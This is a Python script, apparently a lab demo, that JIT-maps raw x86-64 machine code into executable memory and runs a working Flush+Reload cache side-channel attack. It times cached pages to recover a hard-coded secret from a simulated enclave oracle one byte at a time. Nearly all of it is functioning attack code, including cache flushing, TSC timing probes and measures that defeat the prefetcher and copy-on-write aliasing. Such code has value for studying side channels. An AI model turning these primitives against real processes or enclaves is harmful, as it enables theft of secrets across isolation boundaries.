Silicon Profiler Flush+Reload Lab

#!/usr/bin/env python3
"""
JIT x86-64 Microarchitectural Flush+Reload Covert Channel & Silicon Profiler
Target Architecture: x86_64 (Linux / WSL2 / Windows)
"""

import ctypes, mmap, os, platform, statistics, time

PAGE_SIZE = 4096
NUM_PAGES = 256

class SiliconJIT:
    """Assembles and maps raw x86-64 machine code for cache manipulation and TSC timing."""
    def __init__(self):
        if platform.machine().lower() not in ("x86_64", "amd64"):
            raise RuntimeError(f"Unsupported ISA: {platform.machine()}")

        is_win = os.name == "nt"
        load_ptr = b"\x8a\x01" if is_win else b"\x8a\x07"
        flush_ptr = b"\x0f\xae\x39" if is_win else b"\x0f\xae\x3f"

        # Offset 0x00: uint32_t probe(void* addr)
        probe_code = (
            b"\x0f\xae\xf0\x0f\xae\xe8\x0f\x31\x0f\xae\xe8\x41\x89\xc0"
            + load_ptr +
            b"\x0f\xae\xe8\x0f\x31\x44\x29\xc0\xc3"
        ).ljust(32, b"\xcc")

        # Offset 0x20: void flush(void* addr)
        flush_code = (b"\x0f\xae\xf0" + flush_ptr + b"\x0f\xae\xf0\xc3").ljust(32, b"\xcc")

        # Offset 0x40: void touch(void* addr)
        touch_code = (load_ptr + b"\x0f\xae\xe8\xc3").ljust(32, b"\xcc")

        payload = probe_code + flush_code + touch_code
        self._base_addr = self._map_executable(payload)

        self.probe = ctypes.CFUNCTYPE(ctypes.c_uint32, ctypes.c_void_p)(self._base_addr + 0x00)
        self.flush = ctypes.CFUNCTYPE(None, ctypes.c_void_p)(self._base_addr + 0x20)
        self.touch = ctypes.CFUNCTYPE(None, ctypes.c_void_p)(self._base_addr + 0x40)

    def _map_executable(self, payload: bytes) -> int:
        if os.name == "nt":
            k32 = ctypes.windll.kernel32
            k32.VirtualAlloc.restype = ctypes.c_void_p
            ptr = k32.VirtualAlloc(None, PAGE_SIZE, 0x3000, 0x40)
            ctypes.memmove(ptr, payload, len(payload))
            return ptr
        self._mmap_buf = mmap.mmap(-1, PAGE_SIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
        self._mmap_buf.write(payload)
        return ctypes.addressof(ctypes.c_char.from_buffer(self._mmap_buf))

def build_isolated_enclave(shared_base: int, jit: SiliconJIT):
    secret = b"CACHE_GEOMETRY_EXFIL_0x9F"
    touch_fn = jit.touch
    def speculative_oracle(index: int) -> None:
        if 0 <= index < len(secret):
            touch_fn(shared_base + (secret[index] << 12))
    return speculative_oracle, len(secret)

def run_covert_receiver():
    jit = SiliconJIT()
    arena = (ctypes.c_uint8 * (NUM_PAGES * PAGE_SIZE))()
    ctypes.memset(arena, 0x5A, ctypes.sizeof(arena))  # Defeat OS COW zero-page aliasing
    base_addr = ctypes.addressof(arena)

    oracle, secret_len = build_isolated_enclave(base_addr, jit)
    perm = [((i * 167) + 13) & 0xFF for i in range(NUM_PAGES)]  # Defeat L2 stride prefetcher
    recovered = bytearray()

    for char_idx in range(secret_len):
        min_cycles = [999999] * NUM_PAGES
        for _sweep in range(6):
            for batch in range(0, NUM_PAGES, 16):
                window = perm[batch : batch + 16]
                for page in window:
                    jit.flush(base_addr + (page << 12))
                oracle(char_idx)
                for page in window:
                    cyc = jit.probe(base_addr + (page << 12))
                    if cyc < min_cycles[page]:
                        min_cycles[page] = cyc

        best_byte = min(range(NUM_PAGES), key=lambda p: min_cycles[p])
        recovered.append(best_byte)
        print(f"[{char_idx:02d}] 0x{best_byte:02X} ('{chr(best_byte)}') -> {recovered.decode('ascii', 'replace')}")

if __name__ == "__main__":
    run_covert_receiver()